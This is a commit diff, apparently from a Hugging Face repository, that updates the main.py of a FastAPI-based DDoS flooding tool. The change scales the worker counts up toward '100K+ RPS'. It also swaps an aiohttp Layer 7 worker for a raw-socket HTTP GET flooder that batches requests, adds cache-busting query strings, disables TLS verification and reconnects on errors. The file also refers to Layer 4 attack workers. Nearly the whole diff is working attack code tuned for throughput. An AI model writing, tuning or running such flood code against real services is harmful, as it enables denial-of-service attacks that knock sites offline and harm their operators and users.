Samuraiog commited on
Commit
71e34eb
·
verified ·
1 Parent(s): cc29d57

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +89 -59
main.py CHANGED
@@ -35,23 +35,23 @@ app = FastAPI(
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
- # OPTIMIZED configuration for maximum sustained RPS
39
- # Sweet spot: 8K-16K workers for high-core systems
40
  if CPU_COUNT >= 32:
41
- # High-core systems (32-64+ cores) - proven stable at 64 procs × 128 conc
42
- MAX_PROCESSES = CPU_COUNT # 64 processes for 64 cores
43
- MAX_CONCURRENCY_PER_PROCESS = 192 # Slightly higher than 128
44
  elif CPU_COUNT >= 16:
45
- MAX_PROCESSES = CPU_COUNT * 2
46
- MAX_CONCURRENCY_PER_PROCESS = 256
47
- elif CPU_COUNT >= 8:
48
- MAX_PROCESSES = CPU_COUNT * 6 # 48 processes for 8 cores
49
  MAX_CONCURRENCY_PER_PROCESS = 768
 
 
 
50
  else:
51
- MAX_PROCESSES = CPU_COUNT * 4
52
- MAX_CONCURRENCY_PER_PROCESS = 512
53
 
54
- STATS_BATCH_UPDATE_SIZE = 200 # Optimized batch size
55
  TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
56
 
57
  # --- L7 Enhanced Headers Pool ---
@@ -246,63 +246,93 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
246
  # OPTIMIZED L7 WORKER PROCESS
247
  # ====================================================================================
248
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
249
- """Ultra-optimized L7 worker for maximum sustained RPS."""
250
- ssl_context = ssl.create_default_context()
251
- ssl_context.check_hostname = False
252
- ssl_context.verify_mode = ssl.CERT_NONE
253
 
254
- # Balanced connector - controlled connection pool
255
- connector = aiohttp.TCPConnector(
256
- limit=concurrency * 2, # 2x concurrency for pipeline
257
- limit_per_host=concurrency * 2,
258
- ttl_dns_cache=300,
259
- force_close=False,
260
- enable_cleanup_closed=False,
261
- keepalive_timeout=90
262
- )
263
 
264
- # Fast but not too aggressive timeouts
265
- timeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)
266
 
267
- async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
268
- async def task_worker(worker_id):
269
- """Optimized request loop with keep-alive reuse."""
270
- local_counter = 0
271
- req_counter = 0
272
- headers = {
273
- "User-Agent": random.choice(USER_AGENTS),
274
- "Connection": "keep-alive",
275
- "Accept": "*/*"
276
- }
277
-
278
- while not stop_event.is_set():
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
279
  try:
280
- # Reuse connections with cache busting
281
- async with session.get(
282
- f"{url}?_={req_counter}",
283
- headers=headers,
284
- allow_redirects=False
285
- ) as resp:
286
- _ = await resp.read() # Fully consume response
287
- local_counter += 1
288
- req_counter += 1
289
  except:
290
- req_counter += 1 # Increment even on failure
291
 
292
- # Batch counter updates
293
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
294
- with shared_counter.get_lock():
295
- shared_counter.value += local_counter
296
- local_counter = 0
 
 
 
297
 
298
- # Final update
299
- if local_counter > 0:
300
  with shared_counter.get_lock():
301
  shared_counter.value += local_counter
 
 
 
 
 
 
 
 
302
 
303
- # Launch all tasks
304
- tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
305
- await asyncio.gather(*tasks, return_exceptions=True)
 
 
 
 
 
306
 
307
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
308
  """L7 worker process entry point."""
 
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
+ # EXTREME PERFORMANCE configuration for 100K+ RPS
39
+ # Direct socket approach - maximum workers
40
  if CPU_COUNT >= 32:
41
+ # High-core systems (32-64+ cores) - MAXIMUM POWER
42
+ MAX_PROCESSES = CPU_COUNT * 4 # 256 processes for 64 cores
43
+ MAX_CONCURRENCY_PER_PROCESS = 512 # 512 async tasks per process
44
  elif CPU_COUNT >= 16:
45
+ MAX_PROCESSES = CPU_COUNT * 6
 
 
 
46
  MAX_CONCURRENCY_PER_PROCESS = 768
47
+ elif CPU_COUNT >= 8:
48
+ MAX_PROCESSES = CPU_COUNT * 12 # 96 processes for 8 cores
49
+ MAX_CONCURRENCY_PER_PROCESS = 1024
50
  else:
51
+ MAX_PROCESSES = CPU_COUNT * 8
52
+ MAX_CONCURRENCY_PER_PROCESS = 1024
53
 
54
+ STATS_BATCH_UPDATE_SIZE = 500 # Larger batches for extreme performance
55
  TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
56
 
57
  # --- L7 Enhanced Headers Pool ---
 
246
  # OPTIMIZED L7 WORKER PROCESS
247
  # ====================================================================================
248
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
249
+ """EXTREME PERFORMANCE - Direct socket-based HTTP flooding for 100K+ RPS."""
 
 
 
250
 
251
+ # Parse target
252
+ if url.startswith('https://'):
253
+ use_ssl = True
254
+ host = url[8:].split(':')[0].split('/')[0]
255
+ port = 443
256
+ else:
257
+ use_ssl = False
258
+ host = url[7:].split(':')[0].split('/')[0]
259
+ port = 80
260
 
261
+ if ':' in url.split('//')[1]:
262
+ port = int(url.split('//')[1].split(':')[1].split('/')[0])
263
 
264
+ path = '/' + '/'.join(url.split('//')[1].split('/')[1:]) if '/' in url.split('//')[1] else '/'
265
+
266
+ # Pre-build HTTP request template (minimal overhead)
267
+ http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
268
+
269
+ async def raw_socket_worker(worker_id):
270
+ """Ultra-fast direct socket worker - NO HTTP library overhead."""
271
+ local_counter = 0
272
+ req_counter = 0
273
+ sock = None
274
+
275
+ while not stop_event.is_set():
276
+ try:
277
+ # Create new socket if needed
278
+ if sock is None:
279
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
280
+ sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
281
+ sock.settimeout(2)
282
+ sock.connect((host, port))
283
+ if use_ssl:
284
+ import ssl as ssl_module
285
+ context = ssl_module.create_default_context()
286
+ context.check_hostname = False
287
+ context.verify_mode = ssl_module.CERT_NONE
288
+ sock = context.wrap_socket(sock, server_hostname=host)
289
+
290
+ # Send rapid-fire requests
291
+ for _ in range(50): # Batch 50 requests per socket
292
+ if stop_event.is_set():
293
+ break
294
+ request = http_template.format(req_counter).encode()
295
+ sock.sendall(request)
296
+ local_counter += 1
297
+ req_counter += 1
298
+
299
+ # Try to read response (non-blocking)
300
+ sock.settimeout(0.01)
301
  try:
302
+ _ = sock.recv(4096)
 
 
 
 
 
 
 
 
303
  except:
304
+ pass
305
 
306
+ except:
307
+ # Close and reconnect on error
308
+ if sock:
309
+ try:
310
+ sock.close()
311
+ except:
312
+ pass
313
+ sock = None
314
 
315
+ # Batch counter updates
316
+ if local_counter >= STATS_BATCH_UPDATE_SIZE:
317
  with shared_counter.get_lock():
318
  shared_counter.value += local_counter
319
+ local_counter = 0
320
+
321
+ # Cleanup
322
+ if sock:
323
+ try:
324
+ sock.close()
325
+ except:
326
+ pass
327
 
328
+ # Final update
329
+ if local_counter > 0:
330
+ with shared_counter.get_lock():
331
+ shared_counter.value += local_counter
332
+
333
+ # Launch all socket workers
334
+ tasks = [asyncio.create_task(raw_socket_worker(i)) for i in range(concurrency)]
335
+ await asyncio.gather(*tasks, return_exceptions=True)
336
 
337
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
338
  """L7 worker process entry point."""